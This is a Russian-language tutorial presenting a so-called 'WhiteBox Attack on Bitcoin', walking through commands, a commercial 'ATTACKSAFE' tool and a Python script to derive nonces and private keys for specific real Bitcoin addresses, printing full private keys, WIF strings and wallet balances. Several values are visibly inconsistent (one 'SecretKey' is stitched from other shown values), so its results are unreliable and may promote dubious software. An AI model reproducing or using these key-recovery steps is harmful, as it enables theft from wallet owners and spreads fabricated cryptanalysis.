В этой статье мы опять затронем тему неисправности подписи в транзакции блокчейна и применим совершенно новую атаку: “WhiteBox Attack on Bitcoin”.
Дифференциальный анализ неисправностей сокращенно (DFA) был впервые описан в литературе в 1996 году, когда израильский криптограф и криптоаналитик Eli Biham и израильский учёный Adi Shamir показали, что они могут использовать внедрение ошибок для извлечение секретного ключа и восстановление приватного ключа, используя различные алгоритмы подписи и проверки верификации.
Мы реализуем “WhiteBox Attack on Bitcoin” с дифференциальными ошибками, описанные в этом исследовательском документе . Классический DFA, который мы описали в предыдущей статье называется F(). Для некоторых из этих атак также требуются две пары подписи ECDSA.
С теоретической частью данной атаки мы можем ознакомиться в статье из списка популярных Биткоин атак: “WhiteBox Attack on Bitcoin”
Из наших ранних публикации нам известно что в блокчейне Биткоина очень много уязвимых и слабых транзакциии и в процессе нашего криптоанализа мы нашли множество Биткоин Адресов, где большое количество подписи ECDSA были совершены с раскрытием секретного ключа "K" (NONCE).
В итоге зная секретный ключ мы с точностью можем получить приватный ключ к Биткоин Кошельку.
Рассмотрим три Биткоин Адреса:
1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY
Каждый Биткоин Адрес совершил по две критический уязвимые транзакции:
1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY
https://btc1.trezor.io/tx/60d6685d9945ee4037ac6621136e98b53bc97cf71bf2b45f9b93086eebf4a499
https://btc1.trezor.io/tx/6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba
12bXHGbbWeqyixHpNjeSmq271ennbLRXh9
https://btc1.trezor.io/tx/ee10964f25b1888e63726faaf8b8d67779dccebdfdd9b45225fce54d0aa1b80f
https://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6
15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz
https://btc1.trezor.io/tx/c8bbc3b05bc3a560ed5f4655c73cccf5cf6ff09b62279691df06ad8a121c9859
https://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e
Раскрытие секретного ключа “K” (NONCE) в блокчейне Биткоина
Откроем [TerminalGoogleColab].
Реализуем эффективный алгоритм WhiteBox Attack с помощью нашей репозитории 16WhiteBoxAttack
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/16WhiteBoxAttack/
ls
Установим все нужные нам пакеты
requirements.txtsudo apt install python2-minimal
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
pip2 install -r requirements.txt
Подготовим RawTX для атаки
1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY
https://btc1.trezor.io/tx/60d6685d9945ee4037ac6621136e98b53bc97cf71bf2b45f9b93086eebf4a499
RawTX = 0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000
R = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01
S = 0x2d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3
Z = 0x793c00bdb7c96e19cb2670f3aec5369558b64f0e12645af070d94c2fc06db6edЧтобы реализовать атаку и получить секретный ключ мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE”
www.attacksafe.ru/softwareПрава доступа:
chmod +x attacksafe
Применение:
./attacksafe -help
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode./attacksafe -version
"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.
Запустим список всех атак:
./attacksafe -list
далее выберем -tool: whitebox_attack
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt
0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000Запустим -tool whitebox_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt
Мы запустили данную атаку из -tool whitebox_attack и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
Deployments ECDSA:
SecretKey = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d
RawTX = 0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d
Сделаем проверку с помощью Python-скрипта point2gen.py
Для этого установим библиотеку эллиптических кривых ECPy:
pip3 install ECPy
Теперь запустим скрипт указав секретный ключ "K" (NONCE):
python3 point2gen.py 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d
(0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01 , 0xacf1d32fbd69a79736bafc6af16135526852cd12e4c19158fb421266f0771e0f)
Проверяем координаты точки EC (secp256k1) с значением сигнатуры R
R = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01
S = 0x2d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3
Z = 0x793c00bdb7c96e19cb2670f3aec5369558b64f0e12645af070d94c2fc06db6edR = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01
point2gen = (0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01 , 0xacf1d32fbd69a79736bafc6af16135526852cd12e4c19158fb421266f0771e0f)
ВСЕ ВЕРНО!
K = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d
R = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01
S = 0x2d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3
Z = 0x793c00bdb7c96e19cb2670f3aec5369558b64f0e12645af070d94c2fc06db6ed
print (h((((S * K) - Z) * modinv(R,N)) % N))Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
PrivKey = 1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80
Откроем bitaddress и проверим:
ADDR: 1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY
WIF: Kx2mo3Efm5BaC45ozMVM4MPbcY6thbxVwgwXX8ByCuKRZeMmpATx
HEX: 1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80
https://www.blockchain.com/btc/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY
Приватный ключ найден!
BALANCE: $ 607.79
Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.
При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: 6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba для этого же Биткоин Адреса
Подготовим RawTX для атаки
1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY
https://btc1.trezor.io/tx/6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba
RawTX = 010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000
R = 0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26
S = 0x0a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562
Z = 0xf3c7d4c7371a2c57be6b3eb6c446128a3a2cefdb593e6577750c95d22cd8309cЧтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt
010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000Запустим -tool whitebox_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt
Мы запустили данную атаку из -tool whitebox_attack и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
Deployments ECDSA:
SecretKey = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd
RawTX = 010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE):
python3 point2gen.py 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd
(0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26 , 0x61200da995a31b5be6f875decb954d0e3f8c54d16f7428827a2436cd2fce9419)
Проверяем координаты точки EC (secp256k1) с значением сигнатуры R
R = 0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26
S = 0x0a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562
Z = 0xf3c7d4c7371a2c57be6b3eb6c446128a3a2cefdb593e6577750c95d22cd8309cR = 0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26
point2gen = (0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26 , 0x61200da995a31b5be6f875decb954d0e3f8c54d16f7428827a2436cd2fce9419)
ВСЕ ВЕРНО!
K = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd
R = 0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26
S = 0x0a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562
Z = 0xf3c7d4c7371a2c57be6b3eb6c446128a3a2cefdb593e6577750c95d22cd8309c
print (h((((S * K) - Z) * modinv(R,N)) % N))Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
PrivKey = 1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80
Откроем bitaddress и проверим:
ADDR: 1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY
WIF: Kx2mo3Efm5BaC45ozMVM4MPbcY6thbxVwgwXX8ByCuKRZeMmpATx
HEX: 1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80
https://www.blockchain.com/btc/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY
Приватный ключ найден!
BALANCE: $ 607.79
№2
При детальном криптоанализе мы также нашли критическую уязвимость и в Биткоин Адресе:
12bXHGbbWeqyixHpNjeSmq271ennbLRXh9
https://btc1.trezor.io/tx/ee10964f25b1888e63726faaf8b8d67779dccebdfdd9b45225fce54d0aa1b80f
https://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6
Подготовим RawTX для атаки
12bXHGbbWeqyixHpNjeSmq271ennbLRXh9
https://btc1.trezor.io/tx/ee10964f25b1888e63726faaf8b8d67779dccebdfdd9b45225fce54d0aa1b80f
RawTX = 01000000014398fe319f52d6b4cece666cb591ea22d1ea47dacd5df746e3aa588e5426a43c0d0000006b483045022100dd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc802206a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e4210301210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff0176020000000000001976a914212ae2b75df27ce3dfd0350335bc590d29d43bb188ac00000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 01000000014398fe319f52d6b4cece666cb591ea22d1ea47dacd5df746e3aa588e5426a43c0d0000006b483045022100dd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc802206a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e4210301210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff0176020000000000001976a914212ae2b75df27ce3dfd0350335bc590d29d43bb188ac00000000
R = 0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8
S = 0x6a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e42103
Z = 0xe3836edb5789a3be19cb8b0c9bc8cb1ae2fd58c30d745ae34ceac35c20c0c21cЧтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt
01000000014398fe319f52d6b4cece666cb591ea22d1ea47dacd5df746e3aa588e5426a43c0d0000006b483045022100dd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc802206a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e4210301210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff0176020000000000001976a914212ae2b75df27ce3dfd0350335bc590d29d43bb188ac00000000Запустим -tool whitebox_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt
Мы запустили данную атаку из -tool whitebox_attack и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
Deployments ECDSA:
SecretKey = 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e
RawTX = 01000000014398fe319f52d6b4cece666cb591ea22d1ea47dacd5df746e3aa588e5426a43c0d0000006b483045022100dd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc802206a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e4210301210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff0176020000000000001976a914212ae2b75df27ce3dfd0350335bc590d29d43bb188ac00000000Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE):
python3 point2gen.py 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e
(0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8 , 0xfc8af5334a2b2742013063d05fcaef03a0c4b4bacabf6a7be849c1db87b5e265)
Проверяем координаты точки EC (secp256k1) с значением сигнатуры R
R = 0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8
S = 0x6a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e42103
Z = 0xe3836edb5789a3be19cb8b0c9bc8cb1ae2fd58c30d745ae34ceac35c20c0c21cR = 0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8
point2gen = (0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8 , 0xfc8af5334a2b2742013063d05fcaef03a0c4b4bacabf6a7be849c1db87b5e265)
ВСЕ ВЕРНО!
K = 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 12bXHGbbWeqyixHpNjeSmq271ennbLRXh9
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e
R = 0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8
S = 0x6a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e42103
Z = 0xe3836edb5789a3be19cb8b0c9bc8cb1ae2fd58c30d745ae34ceac35c20c0c21c
print (h((((S * K) - Z) * modinv(R,N)) % N))Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
PrivKey = 028a6a6f6ef174708aac8121c40e8545def4e73d5dd98f8a343f083a49fca03d
Откроем bitaddress и проверим:
ADDR: 12bXHGbbWeqyixHpNjeSmq271ennbLRXh9
WIF: KwJedezSt21uB3ZoHvzkWbcad4VLaJXu8467Jw58j47s4cseQJrk
HEX: 028a6a6f6ef174708aac8121c40e8545def4e73d5dd98f8a343f083a49fca03d
https://www.blockchain.com/btc/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9
Приватный ключ найден!
BALANCE: $ 635.44
Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.
При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6 для этого же Биткоин Адреса
Подготовим RawTX для атаки
12bXHGbbWeqyixHpNjeSmq271ennbLRXh9
https://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6
RawTX = 0100000001794e79fc042a7644cc4deb6e7858416dd8b898fe418b2894f8d3772ce8d132a0180000006a473044022048771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba502202756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be701210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff010c03000000000000232103d68f90ba81455256cb7a0df14fb3930d6df61393207f2f3e71659414d296e0f0ac00000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 0100000001794e79fc042a7644cc4deb6e7858416dd8b898fe418b2894f8d3772ce8d132a0180000006a473044022048771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba502202756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be701210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff010c03000000000000232103d68f90ba81455256cb7a0df14fb3930d6df61393207f2f3e71659414d296e0f0ac00000000
R = 0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5
S = 0x2756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be7
Z = 0xa402dc224f712e09602b06c595f272f3e09408f052d8fba3d88609bbbb150139Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt
0100000001794e79fc042a7644cc4deb6e7858416dd8b898fe418b2894f8d3772ce8d132a0180000006a473044022048771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba502202756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be701210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff010c03000000000000232103d68f90ba81455256cb7a0df14fb3930d6df61393207f2f3e71659414d296e0f0ac00000000Запустим -tool whitebox_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt
Мы запустили данную атаку из -tool whitebox_attack и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
Deployments ECDSA:
SecretKey = 0xa402dc224f712e09602b06c595f272f3028a6a6f6ef174708aac8121c40e8545
RawTX = 0100000001794e79fc042a7644cc4deb6e7858416dd8b898fe418b2894f8d3772ce8d132a0180000006a473044022048771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba502202756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be701210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff010c03000000000000232103d68f90ba81455256cb7a0df14fb3930d6df61393207f2f3e71659414d296e0f0ac00000000Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE):
python3 point2gen.py 0xa402dc224f712e09602b06c595f272f3028a6a6f6ef174708aac8121c40e8545
(0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5 , 0x2c4374cfc4d21df60a3e7592c8ec0ca98640af2adc89276f75d80e65381a36ec)
Проверяем координаты точки EC (secp256k1) с значением сигнатуры R
R = 0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5
S = 0x2756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be7
Z = 0xa402dc224f712e09602b06c595f272f3e09408f052d8fba3d88609bbbb150139R = 0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5
point2gen = (0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5 , 0x2c4374cfc4d21df60a3e7592c8ec0ca98640af2adc89276f75d80e65381a36ec)
ВСЕ ВЕРНО!
K = 0xa402dc224f712e09602b06c595f272f3028a6a6f6ef174708aac8121c40e8545
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 12bXHGbbWeqyixHpNjeSmq271ennbLRXh9
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xa402dc224f712e09602b06c595f272f3028a6a6f6ef174708aac8121c40e8545
R = 0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5
S = 0x2756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be7
Z = 0xa402dc224f712e09602b06c595f272f3e09408f052d8fba3d88609bbbb150139
print (h((((S * K) - Z) * modinv(R,N)) % N))Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
PrivKey = 028a6a6f6ef174708aac8121c40e8545def4e73d5dd98f8a343f083a49fca03d
Откроем bitaddress и проверим:
ADDR: 12bXHGbbWeqyixHpNjeSmq271ennbLRXh9
WIF: KwJedezSt21uB3ZoHvzkWbcad4VLaJXu8467Jw58j47s4cseQJrk
HEX: 028a6a6f6ef174708aac8121c40e8545def4e73d5dd98f8a343f083a49fca03d
